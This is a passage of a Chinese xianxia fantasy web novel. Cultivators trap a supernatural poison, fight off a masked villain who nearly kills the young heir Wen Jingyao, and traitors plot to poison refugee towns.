慕夕阙抬眸看他,红唇微抿,说道:“没用的,那符篆只能趋避少量的秽毒,可你们要闯的地方秽毒不少,我的符篆抵御不了。” 蔺九尘沉默片刻,轻轻叹了一声,拍拍慕夕阙的肩膀:“无事,相信我,我定跑得快。” 他们都知晓,若跑不过秽毒,被秽毒侵染,那么便算完了,只剩下自戕保全家族名声,以及被鹤阶知晓后找上门来这两条路。 慕夕阙并未说话,看着蔺九尘被姜榆拽走,小姑娘板着脸跟他讲这些符篆的用法,而慕家那位大弟子一脸头疼却无可奈何,只能耐着性子听。 “夕阙。”闻惊遥来到慕夕阙身边。 慕夕阙扯住他的胳膊,将他带离到一侧,沉声问:“闻家弟子们已全数撤离,当时我们查到应祈之时找出了一些有问题的弟子,是否也跟着去撤离百姓了?” “嗯。”闻惊遥颔首。 慕夕阙皱眉道:“你并不慌乱,难道是……” 她顿了顿,看向远处的庄漪禾,沉声说:“闻家主也早便知道弟子有问题,却不管不问,如今庄夫人让那些有问题的弟子一同去撤离百姓,是你们计划中的一环,是吗?” “嗯。”闻惊遥起初也并不知晓这些,直到今日闻家弟子撤离之时,那些有问题的弟子也被派了出去,他便猜出庄漪禾的用意。 慕夕阙便不再说话,看向庄漪禾和朝蕴的背影,两个如今的家主并肩背对着他们。 闻承禺的城府深沉,能决然赴死,定是因为他的死可以给东浔主城带来最大的援助,他定是早便谋划好了未来的路。 关于这些叛贼要如何处理,在他死后,仍未结束- 东浔城外,雁门镇。 从主城内撤出的百姓们兵分十路,去往各个郡县城镇,待最后一捧火烛拔地而起在东南侧炸开,青衣少年转身。 身旁一人从远处走来,说道:“景洲,百姓们皆已安置,接下来我们该如何做?” 景洲身着闻家的内门弟子服,是庄漪禾的亲传弟子,他年岁瞧着不大,模样周正俊朗,尚有些稚气在身。 他看着远处的烽火,对身旁之人沉声说道:“如今师父和少主留守城内,仅剩的三名长老各带一队百姓去了安置的郡县,我们只能听从命令,在城外静等时机,待主城事了再返还。” 贺敛道:“可如今镇内人多,树大招风,若鹤阶追来……” 景洲转身看着他,说道:“夫人有办法,你可知为何夫人要咱们撤去这十处城镇吗?” 贺敛皱眉:“因为要足够远离,避免秽毒逃窜出来感染百姓?” “可不止。”景洲看向远处,万家灯火亮如白昼,“这十处城镇将整个东浔主城团团围住,镇心的宗祠位置都埋了一根青鸾的鸟羽,这根青羽既是结界玉灵,更是至高杀阵,若鹤阶敢来,必有来无回。” 贺敛也随他看去:“青鸾……青鸾真这般强悍?” 景洲笑了笑:“你以为闻家为何会有如今的地位?” 他指着远处尚能瞧见影子的雾璋山,眸光明亮,宛如灿星:“那可是青鸾,是万年前栖息在雾璋山的山灵,是在祟种攻城时骇然守城的神明,是我们闻家弟子信仰的玉灵。” 景洲语调高了一些,他转身看着贺敛,一字一句说:“师父告诉我的,青鸾在,雾璋山在,东浔就在。” 东浔人被青鸾守护,青鸾也是东浔人奉若神明的存在。 无人会砍雾璋山的一花一草,无人会捕捉上面的野兽生灵,他们每年过节会烧香礼拜,路过那座山也会虔诚许愿。 愿青鸾保佑东浔岁丰年稔,大地回春,家殷人足。 愿青鸾一直在,愿东浔一直在。 夜色打在少年的脸上,提及青鸾,提及东浔,那张略显稚嫩的脸竟在此刻多了无尽的稳重,好似这一刻他便能抵挡万难。 贺敛笑了一下,说道:“是,青鸾可是闻家的结界玉灵。” “不,你说错了。”景洲轻笑一声,淡声纠正,“青鸾不只是闻家的结界玉灵,它是东浔地界的玉灵。” 它护佑的不只是闻家人,更是整个东浔。 贺敛摇摇头,感慨道:“想不到你平日话这般少,提及青鸾时倒变了* 样子。” 景洲叹了口气:“活这一世能见青鸾一面,无憾了。” 他转身离开,去往安置百姓的镇内,从黑暗中走向灯烛辉煌,少年的身上还留有与祟种交战的伤痕。 待景洲离开,贺敛收回目光,看着远处的雾璋山,距离太远,只能隐约瞧见个山头。 青鸾便栖息在雾璋山内,从未以本体出现过,即使是万年前整个东浔主城被三十只祟种围攻,它也只现出了灵体。 若玉灵以本体出山,恐怕便是灭世大灾降临之际。 只是不知,届时是灾厄胜,还是玉灵胜- “我会在此处布阵,离你们三人要去的地方都很近,待随泱击破鹤阶的禁制之后,其余两处禁制也会一同破碎,秽毒倾巢而出,届时需要你们将秽毒引到此处。” 慕夕阙站定后,看向面前的三人。 闻惊遥颔首:“好。” 慕夕阙沉默片刻,又说道:“秽毒会追着人走,你们三个灵根不错,它会选择你们,切不能让一缕秽毒碰到身体。” “害,你就别担心了。”随泱摇摇折扇,看了眼天,“不早了,该干正事干正事吧,早干完早睡觉,我弟那个蠢货也不知道腿伤如何了。” 他嘀嘀咕咕,转身朝远处走。 蔺九尘看了眼慕夕阙,没说话,冲众人拱了拱手,跃上房檐奔向东侧学宫。 闻惊遥也转身离开。 目送他们三人远去,慕夕阙抬手祭出十二辰,那朵圣洁莲花悬浮在虚空,层层花瓣绽开,鎏金光泽如碎星般点缀在瓣身上,那朵莲花旋转,光华绚丽斑斓,圣洁的光再次照亮东浔主城。 闻惊遥跃上一栋十层高阁,并未回头看,随泱、蔺九尘皆奔跑在街巷内,十二辰的光华却铺就在他们的前路,驱散黑暗与阴霾。 慕夕阙跃至虚空,抬手布阵,自她脚下出现径约百丈的圆盘,一根根纵横交错的金线交织成繁杂晦涩的纹路,那是禁锢秽毒的阵术,是每个慕家嫡传都需自小修行的术法。 慕二小姐跟朝蕴学的第一个术法,便是如何操纵十二辰。 纵使朝蕴不肯让十二辰认她为主,但这门秘法不能失传,必须有人承接。 大阵将成,慕夕阙抬手,万千光华从她的周身逸散,成千上万的流光上流至虚空,如繁星悬挂。 朝蕴看着她的背影,那个越长大越是不肯亲近她的孩子,忽然变得沉稳听话了许多,明明盼着她成长到足以挑起淞溪,可真当她如期望那般可担大任后,朝蕴却又觉得心酸。 这是她身为慕家嫡传的责任,如今祭墟动荡,十二辰只能认慕夕阙为主,她们都没有办法。 此次使用十二辰,便会折损她的寿数。 庄漪禾拍了拍朝蕴的肩,无声安抚。 一阵风吹过,慕从晚捂着嘴低声咳嗽了几声,她抬起锦帕,帕子上赫然一抹暗红的血,她不动声色藏起手帕,擦去唇角的血,仰头看慕夕阙布阵。 阵成的刹那,慕夕阙也看到了北侧闻家书斋金光滔天。 鹤阶留下的禁制被随泱这个化神境修士全力一击,尽数捅破。 与此同时,东侧闻家学宫,西侧闻家弟子堂两道光柱冲天,秽毒倾巢而出,涌向东浔主城的大小街巷,在即将逃窜之际感知到血肉的气息,放弃逃窜冲着几人奔来。 绝佳的灵根是最适合秽毒寄生的本体,一旦化祟,几乎是毁灭一方的存在。 慕夕阙从虚空落下,脊背笔直,目不转睛盯着前方的岔路。 朝蕴更是急得握紧手中的家主玉符,感知蔺九尘玉符的位置。 他的速度极快,在朝这边奔来,脚步并未有停顿,应是尚未被追上。 一刻钟后,东侧街道窜出一人,蔺九尘身后追着乌泱泱的秽毒,那团黑雾以分毫之差追在他身后。 秽毒感受到前方有更为强烈的血肉气,更加疯狂,速度快了不止半分。 “师兄!”眼见秽毒即将追上蔺九尘,姜榆几乎破音。 蔺九尘从容不迫,燃了道提速的符篆,一口气冲进早已布下的阵中。 秽毒没有意识,只有对血肉的本能渴望,因此也一并追了进来,在进入阵中的刹那,疯狂的秽毒像是被万顷重的东西压制,原先尚悬浮在虚空,如今竟轰然跌落,重重砸在地上。 那团黑雾被十二辰圣洁的光牢牢压制,拼命挣扎,直至平息。 而与此同时,北侧距离最远的随泱也奔了过来,去的时候那身叮呤咣啷的金饰早在一路上被扔了个彻底,他只穿着一身金服。 众人还是第一次见他这么素净的时候。 随泱边跑边嚎:“什么玩意儿啊跟疯了一样,跑得这么快!害得小爷把我万金买的首饰都扔了!” 他的修为最高,他身后的秽毒便更疯狂,速度比追蔺九尘时快了不少,连随泱一个化神境都险些跑不过。 虽是在骂,逃命的速度却半分未停,憋着一口气冲进了阵法内,待他身后的秽毒被十二辰压制,随泱气急败坏,撸起袖子走向那团秽毒。 “天杀的,给小爷我拿命来!” 慕夕阙一把揪住他:“你疯了,敢碰秽毒,碰了后打算自戕还是让鹤阶砍了你的头?” 随泱张了张嘴,收回脚站得远了些,嘟嘟囔囔说:“我不会真的碰它的,就只是隔空踹踹。” 慕夕阙白他一眼,没说话。 庄漪禾慌了几分:“惊遥为何还未赶来?” 选地方之时,随泱特意挑了距离最远的,蔺九尘紧随其后也选了远一些的,便是想着闻惊遥身上还有伤,距离近些他跑回来也快。 可他到现在都没回来。 庄漪禾忙掏出家主玉牌感知闻惊遥的玉符,片刻后,她的脸色一变。 “惊遥没动。” 慕夕阙倏然看过去:“没动?” 庄漪禾脸色惨白:“是,他的玉符没动。” 玉符不动,要么掉落,要么他这个人就没动,可秽毒追在身后,竟还不跑? 蔺九尘转身便走:“我去看看。” 随泱一把拽住他:“我去吧,我修为高,你们守在这里,鹤阶应当知晓咱们要除秽毒,保不齐会来偷袭。” 他说着,不等蔺九尘回答,提气冲出。 慕夕阙看着煞白了脸的庄漪禾,以及一旁小声安抚的朝蕴,蔺九尘和姜榆都沉了脸,慕从晚安安静静站在远处。 姐妹两个对视,慕夕阙朝她走去,问道:“你可有感知到城内还有秽毒?” “没有。”慕从晚摇摇头,“追着闻少主的那团秽毒似乎消失了。” 慕夕阙当即拧眉:“确定吗?” “嗯。”慕从晚颔首。 她看着远处,说道:“秽毒消失了,但似乎有个更邪佞的东西在。”- 在鹤阶禁制消失的刹那,闻惊遥转身便跑。 冷风在脸侧呼啸而过,吹动少年高束的马尾,秽毒追在身后,几乎以寸步之差紧随,他燃了几道姜榆赠的灵符。 拐过前面的路口,再穿两条街便能到达慕夕阙所在地。 闻惊遥敛容屏气,正欲提速冲过路口。 下一刻,少年侧身朝一旁闪去,一根灵力化为的利箭擦肩而过。 只停顿了片刻,身后秽毒汹涌逼来,却又在离他面门一寸之地生生截停。 耀眼青光自闻惊遥身前迸发,一股吞下那些秽毒,青光牢牢裹挟着那团秽毒,在他面前殊死搏斗。 闻惊遥来不及想这团青光是从何冒出来的,他冷眼看向街头。 空旷的街道到处都是倒塌的断垣残壁和烧成焦灰的尸身,高挑的身影自街头负手走出,待瞧见那人的模样后,闻惊遥蹙眉。 这人戴了副遮住上半张脸的黑金面具,那面具模样也格外诡异,纹路像是一种灵兽,可闻惊遥认不出是哪个灵兽,但他也能瞧出这人模样年轻。 修士并非不老,只是结丹后衰老速度会大幅削弱,到渡劫期寿数更是绵延,可这人修为不低,否则闻惊遥也不至于连人都到了跟前才觉察出。 修为高,容貌却这般年轻。 “你爹竟给了你一根青鸾的羽。”年轻男子走近,看了眼闻惊遥身前的那团灵力,青光已经将仅剩的秽毒给吞噬,“不少城池的玉灵会赠予契约人信物,历任闻家家主与青鸾缔结契约之时,青鸾皆会褪下一羽赠予家主,那聚集了玉灵十年的修为,以青鸾的能力,阻拦这点秽毒并不难。” 他站定,看着远处的闻惊遥,面具下的薄唇弯了弯,说道:“我只是没想到,你爹这根青羽未用给自己,而是留给了你。” 闻惊遥执剑的手悄然攥紧。 他知晓青鸾会赠予契约人一根青羽,可阻挡一次至强的杀招,因此闻承禺那日被一剑捅穿心脏,他心下惊愕悲痛之余,却也在想,这根青羽去了哪里? 闻惊遥看向自己腰间的乾坤袋,一根使用过后,光泽已暗淡的鸟羽飘落,他抬手接住那根羽毛。 闻承禺何时放在他身上的? “父母爱子,果然连闻承禺这样的人都逃不脱。”黑衣青年笑了笑,藏灰色的眼底却毫无笑意,“闻惊遥,你天赋确实好,可惜你是闻家的孩子,闻家不能存在。” 闻惊遥几乎未看到他的动作,他瞬间闪至面前,抬手之际,灵力竟凝化为一柄利刃,朝闻惊遥轰然劈下。 他横剑抵挡,灵力爆发的威压将他撞出几十丈远,闻惊遥撑剑站定,吐出一口血,目光平静,看向自己握剑的手。 被灵力震得发麻,他那柄上好的剑,剑身竟浮现几丝裂痕。 这柄剑连变成祟种的任风煦都无法击碎,任风煦已是化神满境的修为,可这个男人只用一击便几乎碎了他的剑。 闻惊遥擦去唇角的血,灵力加注在长剑之上,无论面对何等劲敌,他永远冷静沉稳,看着那黑衣男子手握那柄灵剑朝他走来。 少年疾步冲出,化为青影,剑柄在手中转了一圈,朝他砸下。 而那男子微微歪头,轻易躲过,身影一闪绕至闻惊遥身后,重重一掌打在他的后肩。 经脉断裂数十根,闻惊遥呕出大口的血,血水中竟夹杂些块状的血肉,那是他被震碎大半的肺腑。 身后的黑衣男子冷着脸,灵剑挥出厉然剑光,一举便要斩杀这个尚未长成的天才,绝了东浔闻家最后的希望—— 铮然一声,一柄折扇从侧方挟风击来,与他的灵剑相撞,生生截停了片刻。 而就是这片刻功夫,给了来者机会,眼前金影一闪而过,他迅速捞走闻惊遥。 黑衣男子冷着脸,手腕用力,灵剑将折扇从顶端一寸寸劈碎。 随泱背着闻惊遥迅速奔移,身后剑光追来,一剑轰在他身前不远处。 那方才还在身后的黑衣男子从天而降,堵住他的去路,轻飘飘拔出陷进地面的灵剑,他抬手拂去剑身上的灰尘,垂眸道:“凭你,也想在我面前救人?” 随泱面无表情,听着背上的闻惊遥在咳嗽,咳出大块的血肉,他的伤势极重。 闻惊遥低声说道:“放下我,你找机会跑……他的修为是大乘以上,或至渡劫,让夕阙和阿娘都撤离……撤离东浔……” 随泱咬紧牙关,低声骂道:“怕是跑不了,奇了怪了,十三州哪里来的这等大能,如今仅剩的大乘修士早就闭关冲渡劫去了!” 话音刚落,方才还在远处的黑影闪来,手中长剑旋出利影,朝他们二人轰然砸下- 东浔城外,雁门镇。 景洲安顿好最后一家百姓入住,谢过那些百姓赠来的吃食,他推开门,朝外走去。 刚走出不远,贺敛匆匆走来,说道:“景洲,城南李铁匠的女儿女婿一家失踪了,或许是咱们方才撤离之时未顾得上!” 景洲脸色一变:“何时的事?” 贺敛道:“一个时辰前发现失踪的,李铁匠并未见到自己的女儿女婿一家跟来。” 景洲匆匆便往外走:“或许没跟上咱们,我沿着大路去找,应能碰上,你守好镇门,不得放任何可疑之人进入。” 待看到景洲走远,贺敛脸色淡下,转身便往镇心走。 他拿出玉符,淡声说:“他走了,找人在外面先宰了他,太碍事了,其余人都已知晓了吧?” 玉符中有人回答:“已通传其余避难所的弟子们,都已去找镇心的青羽。” “今夜戌时动手。”贺敛看着远处的雾璋山头,眼底阴狠闪过,“主子说了,先除闻家,再除青鸾,这只玉灵留不得。” 戌时正,从东浔主城逃出来的百姓皆已休息,而弟子营中,数十道身影坐了起来,悄然穿衣,带好武器。 一道道青影从各处奔出,身影如风,直奔各镇镇心。 作者有话说:今天这章有点点卡,更新晚了会儿,本章发红包[撒花] 第43章 第 43 章 肃正乾坤 慕从晚转身看向慕夕阙, 再一次说道:“夕阙,东浔城里来了外人,他的灵气不太对劲, 并不干净纯粹,邪气太盛。” 庄漪禾匆匆走过来, 脸色阴沉:“小晚, 你能感知到?” 慕从晚似乎有对邪佞的感知,不知是不是因为身中秽毒的原因,她不仅能感知到秽毒和祟种, 也能觉察出危险。 修士周身有看不见的灵气波动,心无杀念则气息纯粹,心如蛇蝎、嗜杀成性者, 气息则浊污不净, 世人称这类人在渡劫之时极易遭至天道注意, 从而招致业报。 几人脸色都冷了, 庄漪禾扭头便要走:“我去寻他。” 慕夕阙提剑越过她:“我去, 如今城内已无秽毒,追着闻惊遥那抹秽毒消失,我可以关阵。” 她抬手召唤十二辰, 莲花收拢阵法,将两捧秽毒压制着送进提前准备好的琉璃瓷瓶, 秽毒在里面疯狂冲撞, 却又被十二辰的灵印牢牢禁锢,无法冲出。 慕夕阙转身便要走, 蔺九尘追上她,说道:“我也去。” 见她要皱眉拒绝,蔺九尘沉了脸色:“你不能总是事事自己抗, 你身上还有伤。” 两人僵持几息,随后慕夕阙妥协:“好。” 他们匆匆准备,其余人留守看押秽毒,这瓷瓶有十二辰的禁制,除了十二辰无人打得开,慕夕阙并不担心鹤阶来偷袭朝蕴她们。 她和蔺九尘朝着随泱方才离去的方向奔移。 在这一路上,慕夕阙握紧手中的剑,剑柄上镌刻的“慕”字沟壑突起,存在明晰,她冷着脸,心下有种直觉,这个人便是她上辈子找了百年都未查出任何结果的人。 鹤阶背后的主子,旷悬记忆里那个戴兜帽的年轻人,一个在十三州和海外仙岛都未有任何记载的旷世奇才,模样是那般年轻,修为却足以令整个鹤阶臣服。 慕夕阙纵身跃上房檐,拐过街角,站在尚未完全倒塌的阁楼顶上,看到街头跪地吐血的随泱和身旁早已昏厥的闻惊遥。 还有那个高挑的背影。 是他。 果真是他。 慕夕阙的身影快出疾风,衣袖被周身凛冽吹过的罡风化为一条红线,手中那柄长剑在此刻爆发出了绝顶的威压,剑芒如凤火,凌然冲去。 剑芒到了那人身前,他轻飘飘转过头,略显漂亮的眼睛看着那道剑光,以及剑光后紧随而来的人,微微一笑,抬手抓住了她挥出的剑芒。 那道剑光被他牢牢攥住,随后他用力,剑芒炸开,如星火坠落。 而慕夕阙的剑也劈了下来。 黑衣青年竟微微歪头便躲过了她的剑,他踮脚退后几丈,慕夕阙直逼身前,有十二辰相助,她周身的伤早已痊愈大半,威压也更甚从前,甚至境界已逼至化神境。 但这黑衣男子应付仍从容,比起慕夕阙的招招带刃,他更像是闲庭信步,逗她玩一般,轻飘飘躲过,再漫不经心挥出个不算强盛的杀招。 慕夕阙越打越狠,几乎压着人退出了百丈远。 而紧追上来的蔺九尘眼见闻惊遥已出气多进气少,忙停下给他塞了几颗灵丹,封住穴位以免他吐血。 黑衣青年看了眼远处的三人,似乎并不关心,而是看向慕夕阙弯唇一笑:“你对我有恨意,你知道我是谁?” 慕夕阙就势逼上,长剑重重砍在他用灵力化出的剑身上,铿锵一声,剑鸣轰隆。 而这一次,黑衣青年并未再退让,他旋身逼上前,一把握住慕夕阙的剑,那柄锐利肃杀的长剑割破了无数人的喉咙,如今正处杀意凛冽之际,削铁如泥,却未能割破他的一寸肌肤。 他用力拽住她的剑身,将她一把拽了过来,两人的目光隔着不到一臂的距离相撞,他看清她眼底的恨意,唇角的笑更诡谲了些。 “太奇怪了,你似乎恨我,我们见过吗?”黑衣男子边说,一掌轰在慕夕阙肩头,将她半边骨头震碎,一掌击出数十丈远。 他冷着脸:“还是我什么时候招惹慕二小姐了?” “那你猜啊。” 慕夕阙面无表情,换了个手握剑,而她的身后,一朵圣洁的莲花悬浮在虚空,那莲花倏然变大,朵朵红莲绽放,耀眼金光几乎撕破整个城池的黑暗。 她单手握剑,鎏金光泽凝化为朵朵灵力聚成的花瓣,如金龙般沿着剑身盘旋而上,万千莲瓣在她的剑身上缠绕。 慕夕阙看着他,身上的伤一点不觉疼,彻骨的恨撑着她走了百年,如今她终于见到这个人,她厉然挥剑,一剑祭出! 她竟能这般熟练使用十二辰? 黑衣男子眉头紧拧,抬手挥出灵力罡罩,一堵灵力凝成的盾墙聚在身前,凛然的风将宽袖吹得猎猎作响,而他负手而立,看那盈千累万的花瓣裹挟金色灵力呼啸冲来,重重撞在他的盾墙之上。 两方僵持,黑衣男子冷眼看她持剑的手在滴血,明明身上那么多伤,那双眼里却仍旧亮堂,还有一口气都要拼死反击,加注在剑身上的灵力越来越多,贸然使用十二辰会燃寿数,到底是年轻不怕事。 咔嚓—— 那面灵力聚成的盾墙上浮现蛛网般的痕迹,迅速朝四周裂开,他迅速闪避,盾牌彻底被击碎,剑光唳鸣,骇然朝他冲来。 他一拂袖,挥出至强的杀招,灵力聚成卷风迎面撞上她的剑光。 轰然碎裂,炸开的威压带着排山倒海的气流撞碎了他们周身的所有残垣,尽数裂成碎屑。 黑衣男子跃上房檐,最后看了她一眼,目光淡淡收回,慕夕阙只眼前一花,他已瞬移出城,速度一瞬千里。 慕夕阙提剑便要追,蔺九尘已追来,赶忙扯住她。 “他修为极高,虽不知为何走了,但你不是他的对手,绝无胜他的可能!” 慕夕阙回眸,蔺九尘愣了下。 ……他在她的眼里看到了恨意,像是有团火在燃烧,从心里一路烧出来,让她无法冷静,恨不得将其千刀万剐的恨。 不等他问,慕夕阙别过头,挣开他的手,闭了闭眼:“没事。” 她转身离开,抬手收回十二辰,边走边熟练吞了颗修复骨裂的灵丹,背影萧条瘦削。 蔺九尘看她走在片瓦不存的街上,执剑的手还在滴血,方才那一击应当裂开了她的旧伤,她的背脊明明仍旧笔直,他却觉得,好像有一座沉甸甸的山压在了她的身上般,让她每一步都走得格外困难。 她这两日受了很重的伤。 慕夕阙走过去,正要背起闻惊遥,蔺九尘快步走来,抢过闻惊遥一把背上。 “我来背。” 随泱晃晃悠悠撑起身体,抖着手拍拍身上的尘垢,这会儿还能笑出来:“十三州都说慕二小姐和闻大少爷是旷世奇才,年岁轻轻能修至元婴,如今瞧来,果然人外有人天外有天,这不来了个天资更卓越的?” 蔺九尘面无表情,慕夕阙也冷着脸。 随泱叹了口气,跟在他们身旁,见玩笑也没逗笑两人,只能严肃了些:“他不太对劲,这等大能哪个不是名扬天下,我可从来没听过这么年轻的大乘境修士。” 蔺九尘接话:“他要杀闻少主,想必与东浔闻家有仇,又或者……他是鹤阶的人,来阻止闻少主去夺天罡篆。” “他确实是鹤阶的人。”一直沉默的慕夕阙开了口,神情冷淡,“诛杀闻家叛贼时问出来的。” 她并未说搜魂,这等禁术不能让太多人知晓,总之叛贼已死,死无对证。 又是鹤阶。 提及鹤阶,他们都一言不发,快速奔移至集合之地。 庄漪禾等在那里,见蔺九尘背着闻惊遥赶来,再过冷静的她也忍不住失了态,忙走上前:“惊遥。” 闻惊遥闭眼,灵丹只吊住他一口气,肺腑被震碎大半,连吐出的血都有小块的血肉,庄漪禾抖着手要去碰他,却又不知道他哪里还有伤,如何都不敢触碰。 朝蕴走上前来,从乾坤袋取出枚萦绕淡金灵力的丹药,她刚拿出来,慕夕阙和蔺九尘陡然看去。 可朝蕴却将那枚灵丹塞入了闻惊遥唇中。 灵丹刚入唇的刹那便融化,而闻惊遥煞白的脸几乎瞬时多了几分血色,浅淡的金光萦绕在他周身,愈合渗血的伤和他被震碎的肺腑。 庄漪禾愣愣看过去:“阿蕴?” 朝蕴淡声道:“这是金龙赠予契约人的信物,一枚龙鳞,我前些时日刚将其炼化为了丹药。” 慕夕阙沉声说:“那是留给您保命用的。” “他是你的未婚夫,是日后要陪你走一辈子的人。”朝蕴看着她,“小夕,闻少主也是最有可能夺得天罡篆的人,就算为了十三州,他也不能死。” 慕夕阙看着她,末了,她转身离开。 庄漪禾站起身,对朝蕴拱手行礼:“此大恩我东浔定铭记于心,日后有任何难事,定竭力相助!” 朝蕴扶起她,看着蔺九尘背上的闻惊遥,她轻轻叹了声:“都还是孩子呢,怎么就有人总容不下他们呢?” 不过十七岁的少年们,为何总有人想要将天才扼杀于摇篮,而非培养一个天才为十三州增添栋梁? 朝蕴看向慕从晚,她孤零零站在那里,一身白衣,好似风一吹便飘走了,脸色常年苍白,怕是百年都难活过。 可明明慕大小姐出生便能引气入体,天赋甚至超过慕夕阙和闻惊遥,若当年没遭小人暗害,如今她得是多么强大。 又何至于困在这羸弱病躯苟延残喘?- 姜榆追上慕夕阙,默默跟在她身边。 慕夕阙头也不回,只管往前走。 走了一段路,姜榆仰起头蹦蹦跳跳追上去,挽住慕夕阙的胳膊:“师姐,你不喜欢闻少主吗?” 慕夕阙顿住,喉口滚了滚,淡声说:“没有。” 姜榆歪歪脑袋,说道:“我觉得你心情不太好,是因为阿娘将金龙的龙鳞用给了闻少主吗?” 慕夕阙别过头,垂下的手抖了抖。 她生气的并非这枚龙鳞用给了闻惊遥,既是金龙赠予朝蕴的信物,那么怎么处理是她的事。 她只是觉得…… 人人都说为了十三州,闻惊遥也不能死,就连朝蕴都这么说,可有人想过他若是活着,日后慕家会走到何种境地吗? 这么正身不苟的人,眼里只有条规律法,他上辈子说的那句话,她便是再死一次都忘不掉。 ——慕家不死,鹤阶不存,十三州根基势必动摇。 这早已烂掉的根基他都要守着,人怎么可以变成那副模样,可以对着年少的挚友说出这种话,可以追着要复仇的她跑了百年,可以亲自缉拿她入云川,十年不来见她一次,最后还要布下天罡篆诛魂。 姜榆晃了晃她的胳膊,将慕夕阙的意识拽回来。 “师姐,你的伤疼不疼?”她递过来个乾坤袋,“我从慕家带来了好多灵丹,你吃些。” 姜榆仍旧是一身的嫩黄襦裙,两个麻花辫柔顺垂在两侧肩头,辫尾绑了两颗小铃铛,她歪歪脑袋,安静看着慕夕阙。 慕夕阙抬手捏捏她的脸:“不疼,没事的。” 或许是今夜见到那个黑衣男子,她前世追了他百年却只落了个空,明明知道鹤阶背后有人,可她将十三州捅破了天都未找到那人,压抑的恨无处发泄,如今见到他,将她的仇恨尽数勾了出来,她情绪冲动,理智也不剩几分。 慕夕阙深吸口气,稳住情绪,摸摸姜榆的脑袋:“我没事,阿榆,别担心。” 她刚说完,袖中水镜震了震。 慕夕阙不动声色道:“阿榆,你先去歇息,我也回去休息会儿。” 姜榆点点头:“好,师姐你好好歇息。” 慕夕阙转身离开,快步走至画墨阁,取出水镜。 是灵枢阁的消息。 “终于联系上二小姐了,从昨日开始就一直无法联络上你,我差点以为你要跑单了,差人去东浔一看,外头乌泱泱围的都是鹤阶的人。” 对面仍是那道略显妩媚的声音,提及东浔之难也未有半分严肃,好似完全不在乎。 慕夕阙将水镜搁在桌上,淡声问道:“我二十万金买的消息有着落了吗?” “那是自然,你这事着实不太好查,我们灵枢阁出动了七成的探子将十三州查了个遍,你猜查到什么?怪不得这些年妄图查陈家灭门一事的人要么失踪,要么死于非命。” 明明有灭门风险,她却毫不在乎。 十三州无人知晓灵枢阁在哪里,有多少人在,阁主是谁,修为如何,只知道是个女子,除了两个神器这等涉及神明的事情不查,其余事给钱便查。 慕夕阙顺着她的话问:“查到了什么?” “陈家灭门一事确实有鹤阶的手笔,但还有一方势力你绝对想不到。”水镜对面动了动,似乎在喝茶,瓷器碰撞的声音叮叮咚咚。 慕夕阙耐心等她喝完。 对面那道妩媚声音又笑着说:“陈家少主,家主,家主夫人都是影杀杀的,是的你没听错,海外仙岛的影杀一脉。” 慕夕阙皱眉,前世在海外仙岛教她易容术和一剑封喉的杀招之人,便是影杀的家主。 可影杀从不渗透十三州,只占据海外仙岛,收钱杀人,且只杀奸佞,不滥杀无辜。 那为何要杀陈家的人?- 鹤阶长老们战战兢兢等在议事堂,约莫半个时辰后,眼前一道黑影闪过,逼人的威压令所有人臣服,他们迅速低下头,不敢看一眼。 从鹤阶到东浔有万里,灵舟都要飞上五六个时辰,他只靠灵力瞬移,来回却只用了半个时辰,修为简直深不可测。 青年拂袖走过,坐于高台,几乎捏碎扶手,他似乎很是困惑,自言自语道:“十二辰刚认她为主,她为何能如此熟练使用十二辰?” “上一任十二辰之主用了百年都未能这般熟练,她却能操纵十二辰使出可匹敌化神满境的杀招……”低声说到这里,他顿住,抬起头厉然看向下方两排鹤阶长老,“一群废物,城没攻下,闻家没诛灭,派去拦慕家也尽数阵亡,你们还能做成什么!” 一群在外呼风唤雨耀武扬威的鹤阶长老齐齐跪倒在地,抖若筛糠,半分不敢说话。 当年这位主子血洗鹤阶不听话的长老之时,他们可都亲眼瞧见了,满身的傲气都被他打服,再硬气不了一点。 “安插进闻家的弟子们已撤去那些村镇?” “是。”长老们说道,“听主子先前的安排,今夜动手了。” 黑衣男子歪头,单手托腮,搭在扶手上的手点了点,皱眉道:“闻承禺让他那独子肃清闻家,却不动这些弟子,是未查出,还是将计就计?” 无人敢回答,生怕答错。 他又不满意了,声音阴沉:“怎么不说话,不想说那就拔了舌头吧?” 一人赶忙回答:“闻承禺格外嫉恶如仇,若查出叛贼定不会心慈手软,他先前已秘密处理了一部分弟子,但咱们安插的人多,有许多都是多年前安插进去,身世清白毫无异样,早已混出了头,他应当是没觉察出,毕竟留给他的时间不足。” 又有一名长老道:“是,且弟子们传来消息了,镇心确实有青鸾的羽,庄漪禾那位徒弟并未说假话,让百姓们撤去这些地方,应也是想借助青羽。” 见高台上的人没说话,单手仍在敲击扶手,沉闷的碰撞声敲在每一个人心头,心知这位主子阴晴不定脾气极大,他们不敢再当哑巴。 “就算他们真的有对策,如今也确实中了招,今夜咱们的弟子们已在所有膳食中下了毒,闻家弟子们都已用膳,百姓也有一半中了咱们的毒,只待毒发,主子可放心。” 余光之中,长老们只能看见那抹黑影从高台上站起,踱步走下,衣摆拖曳在身后,发出沙沙的声音。 “任风煦关在哪里?” 有长老壮着胆子回:“在……在禁地东侧关押。” 黑衣男子走出,冷声吩咐:“联系海外仙岛的影杀一脉,将人给我唤来十三州。” “……是。” 等他走出,长老们如释重负,颤颤巍巍站起身* ,擦去额上的汗。 主子今日这般动怒,想必是没杀成闻惊遥,且他提及十二辰,那估摸着是在慕二小姐手上栽了跟头。 可以主子的修为,即使慕夕阙手握十二辰也不是他的对手,他为何会掉头回鹤阶,放过慕夕阙和闻惊遥的性命?- 东浔城内。 服下灵丹后,两刻钟后,重伤的少年便已清醒,他撑着身体坐起来,唇色苍白。 守在一旁的庄漪禾见他醒来,忙上前道:“再躺一会儿,你伤势太重了。” 闻惊遥并未问自己是如何活下来的,只问道:“随公子呢?” 庄漪禾坐在榻边,说道:“随公子无碍,小夕和蔺公子去救了你们,那个人应是忌惮什么因此走了,但恐怕还会再来,他要夺你性命。” 闻惊遥皱眉:“夕阙可有受伤?” “伤不重,已服了药休息,你也好好休息。”庄漪禾按住他的胳膊便要将他往榻上按。 闻惊遥却又倔起来,掀开锦被便要下榻。 庄漪禾无奈道:“都说了无事,你得好好休息不能乱动,你的伤——” “夫人。” 正说着,有人敲了敲门。 庄漪禾一愣,反应过来这是慕夕阙。 她无奈叹了一声,看看闻惊遥,方才还一脸死气的闻大少爷眼里好似忽然就亮堂了,盯着那扇阻隔了他视线的木门。 庄漪禾起身,打开门:“小夕,你来了。” 慕夕阙扯出笑:“是,我来看看他。” 庄漪禾侧开身子:“那你们聊,我有些事去处理。” 